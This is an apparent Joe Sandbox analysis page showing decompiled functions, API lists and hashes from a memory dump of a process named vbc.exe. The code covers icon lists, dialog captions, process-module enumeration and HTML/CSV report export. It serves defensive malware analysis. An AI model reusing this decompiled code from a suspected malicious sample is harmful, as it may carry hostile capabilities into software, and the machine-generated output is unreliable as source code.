                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: memcpystrlen$memsetsprintf
                                                                                                              • String ID: %s (%s)
                                                                                                              • API String ID: 3756086014-1363028141
                                                                                                              • Opcode ID: 2fac32cc3f4e238a8d54a0630ee4b758ae70e84b84dd66d59e7312a43b943eb6
                                                                                                              • Instruction ID: 70c58cdfc2d4abbd805528426562f63df61edbbac87544aa2a0c8fc412f19922
                                                                                                              • Opcode Fuzzy Hash: 2fac32cc3f4e238a8d54a0630ee4b758ae70e84b84dd66d59e7312a43b943eb6
                                                                                                              • Instruction Fuzzy Hash: 371193B2800158BFDF21DF58CC44BD9BBEDEF41308F00856AEA49EB112D674EA55CB98
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00409E32 Relevance: 10.5, APIs: 7, Instructions: 43windowCOMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 100%
                                                                                                              			E00409E32(void* __eax, void* __ecx, intOrPtr* __edi, void* __esi) {

				 *__edi =  *__edi + __ecx;
			}



                                                                                                              0x00409e38

                                                                                                              APIs
                                                                                                                • Part of subcall function 0040A00B: SendMessageA.USER32 ref: 0040A026
                                                                                                                • Part of subcall function 0040A00B: SendMessageA.USER32 ref: 0040A040
                                                                                                              • ImageList_Create.COMCTL32(00000010,00000010,00000019,00000001,00000001,00000001), ref: 00409E57
                                                                                                              • ImageList_SetImageCount.COMCTL32(00000000,00000002), ref: 00409E66
                                                                                                              • LoadIconA.USER32 ref: 00409E7D
                                                                                                              • ImageList_ReplaceIcon.COMCTL32(?,00000000,00000000), ref: 00409E8E
                                                                                                              • LoadIconA.USER32 ref: 00409E9B
                                                                                                              • ImageList_ReplaceIcon.COMCTL32(?,00000001,00000000), ref: 00409EA6
                                                                                                              • SendMessageA.USER32 ref: 00409EBB
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: Image$IconList_$MessageSend$LoadReplace$CountCreate
                                                                                                              • String ID:
                                                                                                              • API String ID: 3673709545-0
                                                                                                              • Opcode ID: 5410ace1bcb9ce3ecfd17fbb561b86d7ddab7c6c2c1515389eccb8c098e49f00
                                                                                                              • Instruction ID: 438777344fc2c20ac6f2013a54106063ce42bca0c095daa55fabf7fed0819ee6
                                                                                                              • Opcode Fuzzy Hash: 5410ace1bcb9ce3ecfd17fbb561b86d7ddab7c6c2c1515389eccb8c098e49f00
                                                                                                              • Instruction Fuzzy Hash: 4E013C71280304BFFA325B60EE4BFD67AA6EB48B01F004425F349A90E1C7F56C61DA18
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00409E33 Relevance: 10.5, APIs: 7, Instructions: 42windowCOMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 100%
                                                                                                              			E00409E33(void* __eax, void* __ecx, intOrPtr* __edi) {

				 *__edi =  *__edi + __ecx;
			}



                                                                                                              0x00409e38

                                                                                                              APIs
                                                                                                                • Part of subcall function 0040A00B: SendMessageA.USER32 ref: 0040A026
                                                                                                                • Part of subcall function 0040A00B: SendMessageA.USER32 ref: 0040A040
                                                                                                              • ImageList_Create.COMCTL32(00000010,00000010,00000019,00000001,00000001,00000001), ref: 00409E57
                                                                                                              • ImageList_SetImageCount.COMCTL32(00000000,00000002), ref: 00409E66
                                                                                                              • LoadIconA.USER32 ref: 00409E7D
                                                                                                              • ImageList_ReplaceIcon.COMCTL32(?,00000000,00000000), ref: 00409E8E
                                                                                                              • LoadIconA.USER32 ref: 00409E9B
                                                                                                              • ImageList_ReplaceIcon.COMCTL32(?,00000001,00000000), ref: 00409EA6
                                                                                                              • SendMessageA.USER32 ref: 00409EBB
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: Image$IconList_$MessageSend$LoadReplace$CountCreate
                                                                                                              • String ID:
                                                                                                              • API String ID: 3673709545-0
                                                                                                              • Opcode ID: 20c5cb9973f99a89e878d6eee6cca72c3a181af6a96d535eb3513ac49921a140
                                                                                                              • Instruction ID: f483db5831cad9889e7f207d848437a4a82f195d6e7bb7359e2425aa16285a4b
                                                                                                              • Opcode Fuzzy Hash: 20c5cb9973f99a89e878d6eee6cca72c3a181af6a96d535eb3513ac49921a140
                                                                                                              • Instruction Fuzzy Hash: 98011971281304BFFA321B60EE47FD97BA6EB48B00F014425F749A90E2CBF16860DA18
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00407D0A Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 33COMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 92%
                                                                                                              			E00407D0A(void* __eflags, struct HWND__* _a4) {
				void _v4103;
				char _v4104;
				void* _t8;
				void* _t17;

				_t8 = E004118A0(0x1004, _t17);
				_t21 =  *0x4171b8;
				if( *0x4171b8 != 0) {
					_v4104 = 0;
					memset( &_v4103, 0, 0x1000);
					sprintf(0x4172c0, "dialog_%d",  *0x417300);
					if(E00407DE5(_t17, _t21, "caption",  &_v4104) != 0) {
						SetWindowTextA(_a4,  &_v4104);
					}
					return EnumChildWindows(_a4, E00407CAD, 0);
				}
				return _t8;
			}







                                                                                                              0x00407d12
                                                                                                              0x00407d17
                                                                                                              0x00407d1e
                                                                                                              0x00407d2e
                                                                                                              0x00407d35
                                                                                                              0x00407d4a
                                                                                                              0x00407d65
                                                                                                              0x00407d71
                                                                                                              0x00407d71
                                                                                                              0x00000000
                                                                                                              0x00407d81
                                                                                                              0x00407d88

                                                                                                              APIs
                                                                                                              • memset.MSVCRT ref: 00407D35
                                                                                                              • sprintf.MSVCRT ref: 00407D4A
                                                                                                                • Part of subcall function 00407DE5: memset.MSVCRT ref: 00407E09
                                                                                                                • Part of subcall function 00407DE5: GetPrivateProfileStringA.KERNEL32(004172C0,0000000A,00412466,?,00001000,004171B8), ref: 00407E2B
                                                                                                                • Part of subcall function 00407DE5: strcpy.MSVCRT(?,?), ref: 00407E45
                                                                                                              • SetWindowTextA.USER32(?,?), ref: 00407D71
                                                                                                              • EnumChildWindows.USER32 ref: 00407D81
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: memset$ChildEnumPrivateProfileStringTextWindowWindowssprintfstrcpy
                                                                                                              • String ID: caption$dialog_%d
                                                                                                              • API String ID: 246480800-4161923789
                                                                                                              • Opcode ID: 9cc970e277697b76041602e023995f54401f13df9d738430129227da823c9158
                                                                                                              • Instruction ID: 1b9ef3c80e7b29f71c03deb4ce56ff4662aaf0b85baafec8cd622ba642293ebf
                                                                                                              • Opcode Fuzzy Hash: 9cc970e277697b76041602e023995f54401f13df9d738430129227da823c9158
                                                                                                              • Instruction Fuzzy Hash: 40F02B305482887EEB12AB91DC06FE83B685F08786F0040B6BB44E11E0D7F85AC0C71E
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040E255 Relevance: 9.1, APIs: 6, Instructions: 142stringCOMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 35%
                                                                                                              			E0040E255(void* __ecx, void* __eflags, long _a4, intOrPtr _a8) {
				void* _v8;
				signed int _v12;
				unsigned int _v16;
				int _v20;
				intOrPtr _v28;
				char _v32;
				intOrPtr _v40;
				intOrPtr _v44;
				char _v308;
				intOrPtr _v312;
				void _v316;
				void _v579;
				char _v580;
				char _v844;
				intOrPtr _v1104;
				intOrPtr _v1108;
				intOrPtr _v1112;
				char _v1132;
				char _v17516;
				void* __edi;
				void* __esi;
				void* _t63;
				void* _t64;
				void* _t77;
				intOrPtr _t84;
				void _t94;
				int _t102;
				void* _t106;
				void* _t107;

				E004118A0(0x446c, __ecx);
				_t102 = 0;
				_v20 = 0;
				if(E0040629C() == 0 ||  *0x417518 == 0) {
					if( *0x417514 != _t102) {
						_t94 = _a4;
						_t63 =  *0x416fe0(8, _t94);
						_v8 = _t63;
						if(_t63 != 0xffffffff) {
							_v20 = 1;
							_v1132 = 0x224;
							_t64 =  *0x416fd8(_t63,  &_v1132);
							while(_t64 != 0) {
								memset( &_v316, _t102, 0x118);
								_v312 = _v1104;
								_v316 = _t94;
								strcpy( &_v308,  &_v844);
								_v44 = _v1108;
								_t107 = _t107 + 0x14;
								_v40 = _v1112;
								_v1132 = 0x224;
								if(E0040E45F(_a8,  &_v316) != 0) {
									_t64 =  *0x416fd4(_v8,  &_v1132);
									continue;
								}
								goto L18;
							}
							goto L18;
						}
					}
				} else {
					_t77 = OpenProcess(0x410, 0, _a4);
					_v8 = _t77;
					if(_t77 != 0) {
						_push( &_v16);
						_push(0x4000);
						_push( &_v17516);
						_push(_t77);
						if( *0x416fe4() != 0) {
							_t6 =  &_v16;
							 *_t6 = _v16 >> 2;
							_v20 = 1;
							_v12 = 0;
							if( *_t6 != 0) {
								while(1) {
									_v580 = 0;
									memset( &_v579, _t102, 0x104);
									memset( &_v316, _t102, 0x118);
									_t84 =  *((intOrPtr*)(_t106 + _v12 * 4 - 0x4468));
									_t107 = _t107 + 0x18;
									_v316 = _a4;
									_v312 = _t84;
									 *0x416fdc(_v8, _t84,  &_v580, 0x104);
									E0040E172( &_v308,  &_v580);
									_push(0xc);
									_push( &_v32);
									_push(_v312);
									_push(_v8);
									if( *0x416fe8() != 0) {
										_v44 = _v28;
										_v40 = _v32;
									}
									if(E0040E45F(_a8,  &_v316) == 0) {
										goto L18;
									}
									_v12 = _v12 + 1;
									if(_v12 < _v16) {
										_t102 = 0;
										continue;
									} else {
									}
									goto L18;
								}
							}
						}
						L18:
						CloseHandle(_v8);
					}
				}
				return _v20;
			}
































                                                                                                              0x0040e25d
                                                                                                              0x0040e265
                                                                                                              0x0040e267
                                                                                                              0x0040e271
                                                                                                              0x0040e395
                                                                                                              0x0040e39b
                                                                                                              0x0040e3a1
                                                                                                              0x0040e3aa
                                                                                                              0x0040e3ad
                                                                                                              0x0040e3c0
                                                                                                              0x0040e3c7
                                                                                                              0x0040e3cd
                                                                                                              0x0040e44a
                                                                                                              0x0040e3e2
                                                                                                              0x0040e3ed
                                                                                                              0x0040e401
                                                                                                              0x0040e407
                                                                                                              0x0040e412
                                                                                                              0x0040e41b
                                                                                                              0x0040e41e
                                                                                                              0x0040e42b
                                                                                                              0x0040e438
                                                                                                              0x0040e444
                                                                                                              0x00000000
                                                                                                              0x0040e444
                                                                                                              0x00000000
                                                                                                              0x0040e438
                                                                                                              0x00000000
                                                                                                              0x0040e44a
                                                                                                              0x0040e3ad
                                                                                                              0x0040e283
                                                                                                              0x0040e28c
                                                                                                              0x0040e294
                                                                                                              0x0040e297
                                                                                                              0x0040e2a0
                                                                                                              0x0040e2a1
                                                                                                              0x0040e2ac
                                                                                                              0x0040e2ad
                                                                                                              0x0040e2b6
                                                                                                              0x0040e2bc
                                                                                                              0x0040e2bc
                                                                                                              0x0040e2c0
                                                                                                              0x0040e2c7
                                                                                                              0x0040e2ca
                                                                                                              0x0040e2d9
                                                                                                              0x0040e2e2
                                                                                                              0x0040e2e9
                                                                                                              0x0040e2fb
                                                                                                              0x0040e306
                                                                                                              0x0040e30d
                                                                                                              0x0040e311
                                                                                                              0x0040e322
                                                                                                              0x0040e328
                                                                                                              0x0040e33a
                                                                                                              0x0040e33f
                                                                                                              0x0040e344
                                                                                                              0x0040e345
                                                                                                              0x0040e34b
                                                                                                              0x0040e356
                                                                                                              0x0040e35b
                                                                                                              0x0040e361
                                                                                                              0x0040e361
                                                                                                              0x0040e375
                                                                                                              0x00000000
                                                                                                              0x00000000
                                                                                                              0x0040e37b
                                                                                                              0x0040e384
                                                                                                              0x0040e2d7
                                                                                                              0x00000000
                                                                                                              0x00000000
                                                                                                              0x0040e38a
                                                                                                              0x00000000
                                                                                                              0x0040e384
                                                                                                              0x0040e2d9
                                                                                                              0x0040e2ca
                                                                                                              0x0040e44e
                                                                                                              0x0040e451
                                                                                                              0x0040e451
                                                                                                              0x0040e297
                                                                                                              0x0040e45e

                                                                                                              APIs
                                                                                                              • OpenProcess.KERNEL32(00000410,00000000,00000000,?,00000000,00000000,?,0040DD5F,00000000,00000000), ref: 0040E28C
                                                                                                              • memset.MSVCRT ref: 0040E2E9
                                                                                                              • memset.MSVCRT ref: 0040E2FB
                                                                                                                • Part of subcall function 0040E172: strcpy.MSVCRT(?,-00000001), ref: 0040E198
                                                                                                              • memset.MSVCRT ref: 0040E3E2
                                                                                                              • strcpy.MSVCRT(?,?,?,00000000,00000118), ref: 0040E407
                                                                                                              • CloseHandle.KERNEL32(00000000), ref: 0040E451
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: memset$strcpy$CloseHandleOpenProcess
                                                                                                              • String ID:
                                                                                                              • API String ID: 3799309942-0
                                                                                                              • Opcode ID: 090a920ccff3a4e303efb007cbafe5d1b02941aedbce4837af1c52a6e7a2511d
                                                                                                              • Instruction ID: 14fca006082a3f7ea55a807dd49808cd12c96cdbdfea8439eb00a9ee5a281ce1
                                                                                                              • Opcode Fuzzy Hash: 090a920ccff3a4e303efb007cbafe5d1b02941aedbce4837af1c52a6e7a2511d
                                                                                                              • Instruction Fuzzy Hash: A2512DB1900218ABDB10DF95DC85ADEBBB8FF44304F1045AAF609B6291D7749F90CF69
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00409369 Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 106stringCOMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 61%
                                                                                                              			E00409369(intOrPtr* __ebx, intOrPtr _a4, intOrPtr* _a8) {
				signed int _v8;
				char* _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				char _v48;
				char _v68;
				void _v96;
				void* __edi;
				signed int _t51;
				char* _t53;
				char* _t63;
				intOrPtr* _t69;
				signed int _t70;
				char _t84;
				intOrPtr* _t91;
				signed int _t95;
				void* _t96;
				void* _t97;

				_t69 = __ebx;
				_t70 = 6;
				memcpy( &_v96, "<td bgcolor=#%s nowrap>%s", _t70 << 2);
				_t97 = _t96 + 0xc;
				asm("movsw");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsw");
				asm("movsb");
				E00405EFD(_a4, "<tr>");
				_t95 = 0;
				if( *((intOrPtr*)(__ebx + 0x20)) > 0) {
					do {
						_t51 =  *( *((intOrPtr*)(_t69 + 0x24)) + _t95 * 4);
						_v8 = _t51;
						_t53 =  &_v96;
						if( *((intOrPtr*)((_t51 << 4) +  *((intOrPtr*)(_t69 + 0x34)) + 4)) == 0) {
							_t53 =  &_v48;
						}
						_t91 = _a8;
						_v28 = _v28 | 0xffffffff;
						_v24 = _v24 | 0xffffffff;
						_v20 = _v20 | 0xffffffff;
						_v16 = _v16 & 0x00000000;
						_v12 = _t53;
						 *((intOrPtr*)( *_t69 + 0x30))(4, _t95, _t91,  &_v28);
						E0040F071(_v28,  &_v68);
						E0040F09D( *((intOrPtr*)( *_t91))(_v8,  *(_t69 + 0x4c)),  *(_t69 + 0x50));
						 *((intOrPtr*)( *_t69 + 0x48))( *(_t69 + 0x50), _t91, _v8);
						_t63 =  *(_t69 + 0x50);
						_t84 =  *_t63;
						if(_t84 == 0 || _t84 == 0x20) {
							strcat(_t63, "&nbsp;");
						}
						E0040F126( &_v28,  *((intOrPtr*)(_t69 + 0x54)),  *(_t69 + 0x50));
						sprintf( *(_t69 + 0x4c), _v12,  &_v68,  *((intOrPtr*)(_t69 + 0x54)));
						E00405EFD(_a4,  *(_t69 + 0x4c));
						_t97 = _t97 + 0x20;
						_t95 = _t95 + 1;
					} while (_t95 <  *((intOrPtr*)(_t69 + 0x20)));
				}
				return E00405EFD(_a4, 0x412b1c);
			}























                                                                                                              0x00409369
                                                                                                              0x00409373
                                                                                                              0x0040937c
                                                                                                              0x0040937c
                                                                                                              0x0040937e
                                                                                                              0x00409388
                                                                                                              0x00409389
                                                                                                              0x0040938a
                                                                                                              0x0040938b
                                                                                                              0x0040938c
                                                                                                              0x00409396
                                                                                                              0x00409397
                                                                                                              0x0040939c
                                                                                                              0x004093a3
                                                                                                              0x004093a9
                                                                                                              0x004093ac
                                                                                                              0x004093b2
                                                                                                              0x004093bd
                                                                                                              0x004093c0
                                                                                                              0x004093c2
                                                                                                              0x004093c2
                                                                                                              0x004093c5
                                                                                                              0x004093c8
                                                                                                              0x004093cc
                                                                                                              0x004093d0
                                                                                                              0x004093d4
                                                                                                              0x004093de
                                                                                                              0x004093e7
                                                                                                              0x004093f1
                                                                                                              0x00409407
                                                                                                              0x00409417
                                                                                                              0x0040941a
                                                                                                              0x0040941d
                                                                                                              0x00409421
                                                                                                              0x0040942e
                                                                                                              0x00409434
                                                                                                              0x0040943e
                                                                                                              0x00409450
                                                                                                              0x0040945b
                                                                                                              0x00409460
                                                                                                              0x00409463
                                                                                                              0x00409464
                                                                                                              0x004093a9
                                                                                                              0x0040947f

                                                                                                              APIs
                                                                                                                • Part of subcall function 00405EFD: strlen.MSVCRT ref: 00405F0A
                                                                                                                • Part of subcall function 00405EFD: WriteFile.KERNEL32(00412B1C,00000001,00000000,74EC1245,00000000), ref: 00405F17
                                                                                                              • strcat.MSVCRT(?,&nbsp;), ref: 0040942E
                                                                                                              • sprintf.MSVCRT ref: 00409450
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: FileWritesprintfstrcatstrlen
                                                                                                              • String ID: &nbsp;$<td bgcolor=#%s nowrap>%s$<td bgcolor=#%s>%s$<tr>
                                                                                                              • API String ID: 3813295786-4153097237
                                                                                                              • Opcode ID: de7b970c7ee51d784ccd368963446ea6545f22e24ac9db830538cbfa5b1be59e
                                                                                                              • Instruction ID: 5cc8281df9b45005db58bfc05dfa6f470ea1610febbae0d5d066e94f32a410cd
                                                                                                              • Opcode Fuzzy Hash: de7b970c7ee51d784ccd368963446ea6545f22e24ac9db830538cbfa5b1be59e
                                                                                                              • Instruction Fuzzy Hash: 0C316B31900208AFCF15DF94C8869DE7BB6FF44310F1041AAFD11AB2E2D776AA55DB84
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00410A8A Relevance: 9.1, APIs: 6, Instructions: 96stringCOMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 73%
                                                                                                              			E00410A8A(void* __ecx, void* __eflags, intOrPtr* _a4, int _a8) {
				void* _v8;
				intOrPtr* _v12;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v288;
				intOrPtr _v800;
				char _v1568;
				char _v1824;
				intOrPtr _v1828;
				intOrPtr _v1840;
				intOrPtr _v1844;
				intOrPtr _v2100;
				intOrPtr _v2612;
				char _v3124;
				char _v3636;
				intOrPtr _v3640;
				void* _v5768;
				char _v5796;
				void* __ebx;
				void* __edi;
				void* __esi;
				char* _t39;
				intOrPtr _t51;
				int _t60;
				intOrPtr* _t73;
				int _t76;
				void* _t80;

				_t80 = __eflags;
				E004118A0(0x16a0, __ecx);
				_t39 = wcslen(_a8);
				_t2 =  &(_t39[1]); // 0x1
				_t76 = _t2;
				_push(_t76);
				L004115D0();
				_t60 = 0;
				_v8 = _t39;
				 *_t39 = 0;
				WideCharToMultiByte(0, 0, _a8, 0xffffffff, _t39, _t76, 0, 0);
				_t77 =  &_v5796;
				E0040FE05( &_v5796, _t80);
				_v5796 = 0x4144ac;
				E004104BC( &_v3636);
				E004104BC( &_v1824);
				_t73 = _a4;
				_v3640 =  *((intOrPtr*)(_t73 + 4));
				_v12 = _t73;
				_a8 = strlen(_v8);
				E0040FF76(_t47, _t77);
				memcpy(_v5768, _v8, _a8);
				E00410081(_t77, _t80);
				_t51 =  *((intOrPtr*)(_t73 + 4));
				_v1840 = _t51;
				_v28 = _t51;
				if(_v2100 != 0 || _v2612 != 0) {
					if(_v1844 != _t60) {
						if(_v1568 != _t60) {
							E004060D0(0xff,  &_v3124,  &_v1568);
							_t73 = _a4;
							_v1828 = _v24;
							_t60 = 0;
						}
						 *((intOrPtr*)( *_t73))( &_v3636);
					}
				}
				if(_v288 != _t60 || _v800 != _t60) {
					if(_v32 != _t60) {
						 *((intOrPtr*)( *_t73))( &_v1824);
					}
				}
				_push(_v8);
				L004115D6();
				return E0040FEED( &_v5796);
			}































                                                                                                              0x00410a8a
                                                                                                              0x00410a92
                                                                                                              0x00410a9d
                                                                                                              0x00410aa2
                                                                                                              0x00410aa2
                                                                                                              0x00410aa5
                                                                                                              0x00410aa6
                                                                                                              0x00410aad
                                                                                                              0x00410ab8
                                                                                                              0x00410abd
                                                                                                              0x00410abf
                                                                                                              0x00410ac5
                                                                                                              0x00410acb
                                                                                                              0x00410ad6
                                                                                                              0x00410ae0
                                                                                                              0x00410aeb
                                                                                                              0x00410af0
                                                                                                              0x00410af9
                                                                                                              0x00410aff
                                                                                                              0x00410b08
                                                                                                              0x00410b0b
                                                                                                              0x00410b1c
                                                                                                              0x00410b26
                                                                                                              0x00410b31
                                                                                                              0x00410b34
                                                                                                              0x00410b3a
                                                                                                              0x00410b3d
                                                                                                              0x00410b4d
                                                                                                              0x00410b55
                                                                                                              0x00410b69
                                                                                                              0x00410b71
                                                                                                              0x00410b75
                                                                                                              0x00410b7b
                                                                                                              0x00410b7b
                                                                                                              0x00410b88
                                                                                                              0x00410b88
                                                                                                              0x00410b4d
                                                                                                              0x00410b90
                                                                                                              0x00410b9d
                                                                                                              0x00410baa
                                                                                                              0x00410baa
                                                                                                              0x00410b9d
                                                                                                              0x00410bac
                                                                                                              0x00410baf
                                                                                                              0x00410bc4

                                                                                                              APIs
                                                                                                              • wcslen.MSVCRT ref: 00410A9D
                                                                                                              • ??2@YAPAXI@Z.MSVCRT ref: 00410AA6
                                                                                                              • WideCharToMultiByte.KERNEL32(00000000,00000000,00410C2C,000000FF,00000000,00000001,00000000,00000000,00000000,00000000,00000000,?,00410C2C,?,00000000), ref: 00410ABF
                                                                                                                • Part of subcall function 0040FE05: ??2@YAPAXI@Z.MSVCRT ref: 0040FE1A
                                                                                                                • Part of subcall function 0040FE05: ??2@YAPAXI@Z.MSVCRT ref: 0040FE38
                                                                                                                • Part of subcall function 0040FE05: ??2@YAPAXI@Z.MSVCRT ref: 0040FE53
                                                                                                                • Part of subcall function 0040FE05: ??2@YAPAXI@Z.MSVCRT ref: 0040FE7C
                                                                                                                • Part of subcall function 0040FE05: ??2@YAPAXI@Z.MSVCRT ref: 0040FEA0
                                                                                                              • strlen.MSVCRT ref: 00410B02
                                                                                                                • Part of subcall function 0040FF76: ??3@YAXPAX@Z.MSVCRT ref: 0040FF81
                                                                                                                • Part of subcall function 0040FF76: ??2@YAPAXI@Z.MSVCRT ref: 0040FF90
                                                                                                              • memcpy.MSVCRT ref: 00410B1C
                                                                                                              • ??3@YAXPAX@Z.MSVCRT ref: 00410BAF
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: ??2@$??3@$ByteCharMultiWidememcpystrlenwcslen
                                                                                                              • String ID:
                                                                                                              • API String ID: 577244452-0
                                                                                                              • Opcode ID: 0729e5e4f895cbc58597c2c43ace20eee645c326f163d0241897ee91a751f033
                                                                                                              • Instruction ID: 5b66efc9566b80317fa540751e9ebc59d69584110078b55da7be64cca713082c
                                                                                                              • Opcode Fuzzy Hash: 0729e5e4f895cbc58597c2c43ace20eee645c326f163d0241897ee91a751f033
                                                                                                              • Instruction Fuzzy Hash: 44317672804219AFCF21EFA1C8809EDBBB5AF44314F1440AAE508A3251DB796FC4CF98
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040AB54 Relevance: 9.1, APIs: 1, Strings: 5, Instructions: 72COMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 100%
                                                                                                              			E0040AB54(void* __edi, intOrPtr _a4, intOrPtr _a8) {
				char _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				char* _v36;
				intOrPtr _v40;
				char* _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				char _v72;
				void _v1095;
				char _v1096;
				void* __ebx;
				char _t29;
				intOrPtr _t32;
				intOrPtr _t35;
				void* _t39;
				void* _t52;
				char _t59;
				char* _t60;
				intOrPtr _t61;

				_v1096 = 0;
				memset( &_v1095, 0, 0x3ff);
				_v8 = 0x747874;
				_t29 = E004078FF(0x1f5);
				_t59 = "*.txt";
				_v72 = _t29;
				_v68 = _t59;
				_v64 = E004078FF(0x1f6);
				_v60 = _t59;
				_v56 = E004078FF(0x1f7);
				_v52 = _t59;
				_t32 = E004078FF(0x1f8);
				_t60 = "*.htm;*.html";
				_v48 = _t32;
				_v44 = _t60;
				_v40 = E004078FF(0x1f9);
				_v36 = _t60;
				_v32 = E004078FF(0x1fa);
				_v28 = "*.xml";
				_t35 = E004078FF(0x1fb);
				_t61 = "*.csv";
				_v24 = _t35;
				_v20 = _t61;
				_v16 = E004078FF(0x1fc);
				_v12 = _t61;
				E0040684D( &_v1096,  &_v72, 8);
				_t52 = 7;
				_t39 = E004078FF(_t52);
				_t23 =  &_v8; // 0x747874
				return E00406680(_a8,  *((intOrPtr*)(_a4 + 0x108)), __edi,  &_v1096, _t39, _t23);
			}































                                                                                                              0x0040ab6d
                                                                                                              0x0040ab74
                                                                                                              0x0040ab81
                                                                                                              0x0040ab88
                                                                                                              0x0040ab8d
                                                                                                              0x0040ab93
                                                                                                              0x0040ab96
                                                                                                              0x0040aba3
                                                                                                              0x0040aba6
                                                                                                              0x0040abaf
                                                                                                              0x0040abb2
                                                                                                              0x0040abb5
                                                                                                              0x0040abba
                                                                                                              0x0040abc4
                                                                                                              0x0040abc7
                                                                                                              0x0040abd0
                                                                                                              0x0040abd3
                                                                                                              0x0040abe0
                                                                                                              0x0040abe3
                                                                                                              0x0040abea
                                                                                                              0x0040abef
                                                                                                              0x0040abf5
                                                                                                              0x0040abf8
                                                                                                              0x0040ac00
                                                                                                              0x0040ac0f
                                                                                                              0x0040ac12
                                                                                                              0x0040ac1b
                                                                                                              0x0040ac1c
                                                                                                              0x0040ac24
                                                                                                              0x0040ac44

                                                                                                              APIs
                                                                                                              • memset.MSVCRT ref: 0040AB74
                                                                                                                • Part of subcall function 004078FF: LoadStringA.USER32 ref: 004079C8
                                                                                                                • Part of subcall function 004078FF: memcpy.MSVCRT ref: 00407A07
                                                                                                                • Part of subcall function 004078FF: strcpy.MSVCRT(004172C0,strings,?,?,00408822,?,?,?,?,?,00000000,74EC1245), ref: 0040797A
                                                                                                                • Part of subcall function 004078FF: strlen.MSVCRT ref: 00407998
                                                                                                                • Part of subcall function 0040684D: memset.MSVCRT ref: 0040686D
                                                                                                                • Part of subcall function 0040684D: sprintf.MSVCRT ref: 0040689A
